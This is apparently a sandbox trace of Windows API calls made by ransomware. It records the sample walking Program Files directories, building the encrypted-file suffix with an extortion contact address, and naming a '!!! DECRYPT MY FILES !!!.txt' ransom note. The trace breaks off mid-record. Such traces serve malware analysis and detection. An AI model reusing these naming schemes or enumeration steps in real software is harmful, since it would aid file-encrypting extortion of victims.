CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado25.tlb") returned 0x34 [0115.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.568] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.568] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.569] GetProcessHeap () returned 0x630000 [0115.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x20) returned 0x6e90d0 [0115.569] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0115.569] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado25.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 1 [0115.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado26.tlb") returned 0x34 [0115.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.569] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.569] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.570] GetProcessHeap () returned 0x630000 [0115.570] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x24) returned 0x699c78 [0115.570] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0115.570] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado26.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 1 [0115.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado27.tlb") returned 0x34 [0115.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.570] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.570] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.570] GetProcessHeap () returned 0x630000 [0115.570] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x28) returned 0x699888 [0115.570] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0115.571] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado27.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 1 [0115.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado28.tlb") returned 0x34 [0115.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.571] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.571] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.571] GetProcessHeap () returned 0x630000 [0115.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x2c) returned 0x6ed6268 [0115.571] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0115.571] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado28.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 1 [0115.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado60.tlb") returned 0x34 [0115.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.571] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.572] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.572] GetProcessHeap () returned 0x630000 [0115.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6268, Size=0x30) returned 0x6ed6188 [0115.572] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0115.572] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado60.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 1 [0115.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msadomd.dll") returned 0x34 [0115.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.572] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.572] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.572] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0115.572] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msadomd.dll", psz="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 1 [0115.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\ado\\msadomd28.tlb") returned 0x36 [0115.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.573] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.573] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.573] GetProcessHeap () returned 0x630000 [0115.573] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6188, Size=0x34) returned 0x6d51c0 [0115.573] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0115.573] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msadomd28.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 1 [0115.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\msador15.dll") returned 0x35 [0115.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.573] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.573] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.574] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0115.574] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msador15.dll", psz="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 1 [0115.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\msador28.tlb") returned 0x35 [0115.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.574] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.574] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.574] GetProcessHeap () returned 0x630000 [0115.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x38) returned 0x6d54c0 [0115.950] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0115.950] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msador28.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 1 [0115.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\system\\ado\\msadox.dll") returned 0x33 [0115.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.951] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.951] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.951] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0115.951] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msadox.dll", psz="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 1 [0115.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\msadox28.tlb") returned 0x35 [0115.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.951] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.951] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.951] GetProcessHeap () returned 0x630000 [0115.951] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1340 [0115.951] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0115.952] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msadox28.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 1 [0115.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\msadrh15.dll") returned 0x35 [0115.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.952] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.952] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.952] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.952] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0115.953] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0115.953] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Common Files\\System\\DirectDB.dll", len=0x31 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 1 [0115.953] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\DirectDB.dll", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\directdb.dll") returned 0x31 [0115.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.953] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.953] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.953] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.953] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\System\\en-US\\", len=0x2b | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\System\\en-US\\") returned 1 [0115.953] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0115.953] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.953] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, 